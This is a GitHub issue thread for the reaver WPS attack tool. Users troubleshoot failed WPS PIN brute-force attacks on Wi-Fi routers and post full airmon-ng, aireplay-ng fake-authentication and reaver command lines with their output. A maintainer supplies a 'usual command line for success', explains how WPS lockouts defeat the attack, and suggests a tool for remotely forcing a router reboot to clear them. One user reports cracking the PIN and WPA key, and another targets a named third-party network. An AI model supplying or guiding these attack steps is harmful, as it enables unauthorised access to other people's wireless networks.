t6x / reaver-wps-fork-t6x

1.69k stars 401 forks source link

Reaver not working - giving either *Receive timeout occured* or send packet called from resend_last_packet() send.c:161 #347

Closed AdonisPro closed 1 year ago

AdonisPro commented 3 years ago

HI All,

I am badly stuck with the issues mentioned in the subject line and earnestly looking for help from this community. I am trying to crack my home Router where-in WPS is enabled and no PBC. Below is my steps of activities and the corresponding o/p:

root@kali:~/Downloads/reaver_1.6.1# airmon-ng start wlan0 3

PHY Interface Driver Chipset

phy1 wlan0 8188eu Realtek Semiconductor Corp. RTL8188EUS 802.11n Wireless Network Adapter
(monitor mode enabled)

The above o/p shows the make model of my wireless driver and below o/p shows that the packet injtion is supporte and happening via my wirelss adapter.

root@kali:~/Downloads/reaver_1.6.1# aireplay-ng --test wlan0
06:16:05 Trying broadcast probe requests...
06:16:05 Injection is working!
06:16:06 Found 4 APs

06:16:06 Trying directed probe requests...
06:16:07 D8:1E:DD:4E:E8:01 - channel: 6 - 'fool'
06:16:07 Ping (min/avg/max): 3.810ms/13.998ms/26.666ms Power: -23.73
06:16:07 30/30: 100%

06:16:07 xx:xx:xx:xx:xx:xx - channel: 3 - 'blabla'
06:16:07 Ping (min/avg/max): 2.639ms/7.964ms/30.632ms Power: -59.67
06:16:07 30/30: 100%

06:16:07 BC:0F:9A:18:9C:1C - channel: 1 - 'Ghost'
06:16:08 Ping (min/avg/max): 3.856ms/10.894ms/59.543ms Power: -71.31
06:16:08 29/30: 96%

06:16:08 84:D8:1B:14:90:A0 - channel: 3 - 'Pointer'
06:16:09 Ping (min/avg/max): 2.970ms/17.456ms/125.373ms Power: -93.07
06:16:09 28/30: 93%

Terminal 1:

root@kali:~# aireplay-ng --fakeauth 30 -a xx:xx:xx:xx:xx:xx -h 00:11:22:33:44:55 wlan0
05:52:56 Waiting for beacon frame (BSSID: xx:xx:xx:xx:xx:xx) on channel 3

05:52:56 Sending Authentication Request (Open System) [ACK]
05:52:56 Authentication successful
05:52:56 Sending Association Request [ACK]
05:52:56 Association successful :-) (AID: 1)

05:53:11 Sending keep-alive packet
05:53:26 Sending Authentication Request (Open System) [ACK]
05:53:26 Authentication successful
05:53:26 Sending Association Request [ACK]
05:53:26 Association successful :-) (AID: 1)

05:53:41 Sending keep-alive packet
05:53:56 Sending Authentication Request (Open System) [ACK]
05:53:56 Authentication successful
05:53:56 Sending Association Request [ACK]
05:53:56 Association successful :-) (AID: 1)

05:54:11 Sending keep-alive packet
05:54:26 Sending Authentication Request (Open System) [ACK]
05:54:26 Authentication successful
05:54:26 Sending Association Request [ACK]
05:54:26 Association successful :-) (AID: 1)

Terminal 2: Below i am using the installed reaver which is of version 1.6.6 and below is the o/p or error we can say

root@kali:~# reaver --bssid xx:xx:xx:xx:xx:xx --channel 3 --interface wlan0 -vvv --no-associate --no-nack -d 30 -L --dh-small -e blabla -K 1

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner cheffner@tacnetsol.com

[+] Switching wlan0 to channel 3
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Received beacon from xx:xx:xx:xx:xx:xx
[+] Vendor: RalinkTe
WPS: A new PIN configured (timeout=0)
WPS: UUID - hexdump(len=16): [NULL]
WPS: PIN - hexdump_ascii(len=8):
31 32 33 34 35 36 37 30 12345670
WPS: Selected registrar information changed
WPS: Internal Registrar selected (pbc=0)
WPS: sel_reg_union
WPS: set_ie
WPS: cb_set_sel_reg
WPS: Enter wps_cg_set_sel_reg
WPS: Leave wps_cg_set_sel_reg early
WPS: return from wps_selected_registrar_changed
[+] Trying pin "12345670"
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: blabla)
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
[+] Received identity request
[+] Sending identity response
send_packet called from send_identity_response() send.c:81
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161

Now in many places in web i have seen experts talking about using version 1.6.1 and hence i managed to get the version and executed the same and below is the o/p:

reaver version 1.6.1-
root@kali:~/Downloads/reaver_1.6.1# ./reaver --bssid xx:xx:xx:xx:xx:xx --channel 3 --interface wlan0 -vvv --no-associate --no-nack -d 30 -L --dh-small -e blabla -K 1

Reaver v1.6.1 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner cheffner@tacnetsol.com

[+] Switching wlan0 to channel 3
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: blabla)
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

Initially for version 1.6.6 i was receiving AP rate limit and i overcome that by using --no-nack flag. BUt am stuck at this step and can't proceed further.

Earnestly requesting the goodself of yours to please help me so that i can proceed.

rofl0r commented 3 years ago

check https://github.com/t6x/reaver-wps-fork-t6x/wiki/Troubleshooting

also --dh-small is deprecated and external association using aircrack shouldnt be needed anymore. 1.6.6 is superior to 1.6.1 in every aspect.

AdonisPro commented 3 years ago

Firstly Thanks a ton for your reply, am thankful to you. Actually i have been breaking my head for last 3 days to solve this issue and from different sources i have found different solutions which i have collated to build the command with different flags. But since you are suggesting, i'll remove --dh-small option. Also, henceforth, will ignore external association.

I am looking into the troubleshooting part.

Considering your busy schedule, just a humble request, incase i further reach out to you via this issue or whatever, i'd expect your kind hand of help.

Regards

rofl0r commented 3 years ago

the usual command line for success is reaver -i wlan1 -b xxxx -N -vvv -g 1 <-p PIN or -K> - if you need -L the ap is likely already locked, and i've never seen -L making it work in such a case. as wps vulns were plenty in the past, many ISPs have now opted to either turn WPS off completely or to simply stop transactions in process.

AdonisPro commented 3 years ago

Hi @rofl0r

Thanks for the details and well noted. ;It will help me learn things easily. But i have tried with the command below some times back: reaver --bssid xx:xx:xx:xx:xx:xx --channel 3 --interface wlan0 -vvv --no-associate --no-nack -d 30 -L --dh-small -e blabla -K 1 and it worked like a charm. I got the wps AND psk cracked within a min.

I am in an awe and cant figure out why it didn't work earlier. I have not made any changes in the env. Just omitted the --dh-small as you suggested in your prev comment.

Would request you to please enlighten me if possible about any thing that i am missing to understand or any inconsistency issue.

mir7867 commented 3 years ago

@AdonisPro hi, i i am also facing the same issue, can u ping me back here when u have succeusfully resolved your issue .it would be really helpful to me

khraoverflow commented 3 years ago

i am on parrot os on VM and had the same issue the funny thing is i went back to Virtual Box snapshot of my parrot of few months ago and run reaver and worked ... but now it's stuck on: [+] Sending EAPOL START request [!] WARNING: Receive timeout occurred

any help would be appreciated.

rofl0r commented 3 years ago

using reaver from VM is fragile af, because there are 2 kernels and USB stacks involved, plus the VM code trying to forward the USB packets between the 2. use real hardware instead.

Mehrad141 commented 2 years ago

I got this same error and my wifi adapter is alpha 036ACH and i want to install reaver 1.6.1 how can i download it cause i cant find it repository. I will be grateful to help me.

Legionarul21 commented 1 year ago

Some help ????? Screenshot_2

rofl0r commented 1 year ago

provide info about your wifi adapter, and a packet capture (made with e.g. wireshark), so we can look into why FCS checksum error is thrown.

Legionarul21 commented 1 year ago

provide info about your wifi adapter, and a packet capture (made with e.g. wireshark), so we can look into why FCS checksum error is thrown.

I have TP-link WN722n rtl8188eus. As far as I can see, I no longer have the problem with FCS, but it always appears: receive timeout occurred. IMG-20221212-WA0003

rofl0r commented 1 year ago

[!] AP seems to have WPS turned off

here's why it's not working. most modern APs use WPS 2.0 that locks permanently after 3 failed attempts, or they just turn WPS off.

Legionarul21 commented 1 year ago

[!] AP seems to have WPS turned off

here's why it's not working. most modern APs use WPS 2.0 that locks permanently after 3 failed attempts, or they just turn WPS off.

And nothing can be done?

rofl0r commented 1 year ago

And nothing can be done?

maybe rebooting the router. i heard there's an attack tool that might be able to force a router to reboot remotely, https://github.com/aircrack-ng/mdk3 but i'm not familiar with it.

Silentkiller987 commented 1 year ago

aireplay-ng -9 -a FC:22:F4:2C:A4:54 wlan0 -e Airtel_9660552532
19:27:50 Waiting for beacon frame (BSSID: FC:22:F4:2C:A4:54) on channel 11 19:27:50 Trying broadcast probe requests... 19:27:51 No Answer... 19:27:51 Found 1 AP

19:27:51 Trying directed probe requests... 19:27:51 FC:22:F4:2C:A4:54 - channel: 11 - 'Airtel_9660552532' 19:27:52 Ping (min/avg/max): 4.283ms/9.231ms/24.964ms Power: -72.47 19:27:52 30/30: 100%

19:27:52 Injection is working!

what should i do